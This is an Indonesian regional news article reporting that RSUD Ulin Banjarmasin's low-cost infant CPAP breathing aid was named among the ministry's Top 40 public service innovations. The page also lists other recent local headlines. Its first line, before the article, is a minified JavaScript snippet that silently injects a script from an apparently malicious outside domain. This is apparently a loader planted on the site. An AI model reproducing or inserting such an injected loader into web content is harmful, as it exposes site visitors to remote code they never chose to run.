(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Alat Bantu Pernafasan Bayi RSUD Ulin Masuk Top 40 Inovasi Pelayanan Publik


BANJARBARU, RSUD Ulin Banjarmasin masuk dalam daftar Top 40 Inovasi Pelayanan Publik dari Kementerian PAN-RB. Penghargaan tersebut dapat atensi Gubernur Kalsel H Sahbirin Noor. Paman Birin, sapaan akrab Gubernur Kalsel, usai menerima trofi penghargaan dari Wapres HM Jusuf Kalla berharap perangkat daerah terus melahirkan inovsi besar untuk rakyat.

Menurut Paman Birin, ia sangat menghargai inovasi yang dibuat instansi daerah, kendati karya yang dilahirkan tergolong sederhana namun bermanfaat untuk rakyat. “Saya juga sangat bangga dan mengapresiasi inovasi tersebut,” ucapnya.

Sementara sang inovator alat bantu pernafasan bayi Prof Dr dr Ari Yunanto SpA menjelaskan latar lahirnya inovasi dari tiga penyebab kematian utama pada bayi yakni gawat nafas, infeksi, berat lahir rendah atau prematur.

“Gawat nafas merupakan salah satu penyumbang terbesar angka kematian bayi. Sementara alat bantu nafas yang dapat memberikan tekanan positif yang kontinyu, yaitu continuous positive airway pressure (CPAP), jumlahnya sangat terbatas di rumah sakit atau Puskesmas-Puskesmas di kabupaten dan kota,” ujarnya.

Dijelaskannya, alat bantu pernafasan bayi yang dijual di pasaran harganya cukup mahal, yakni Rp 91.763.000. Faktor mahalnya alat CPAP inilah yang menjadi alasan mengapa rumah sakit kabupaten/kota atau Puskesmas kekurangan alat tersebut.

“Sementara ibu hamil yang melahirkan dan harus mendapat pertolongan, jumlahnya tidak dapat diprediksi,” imbuhnya.

Teknologi  pembuatannya sangat sederhana yakni dengan cara memodifikasi peralatan yang ada menjadi sebuah alat bantu pernafasan bayi. Bahkan kalau dirupiahkan, satu alat yang dibuat hanya mengeluarkan biaya Rp 280.000. Sementara keunggulannya, mudah dalam penggunaan karena alat ini hasil modifikasi dari alat medis yang sehari-hari digunakan dokter atau perawat dalam membantu proses persalinan.

Dirut RSUD Ulin Banjarmasin dr Hj Suciati menambahkan, penemuan alat bantu pernafasan bayi itu terbukti mampu mengurangi angka kematian bayi. Berdasarkan data sejak 2008 alat itu diciptakan, mampu menurunkan angka kematan bayi karena gawat nafas dari 15 persen menjadi 9 persen pada 2014. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

19 menit ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

9 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

10 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

12 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

13 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

13 jam ago

This website uses cookies.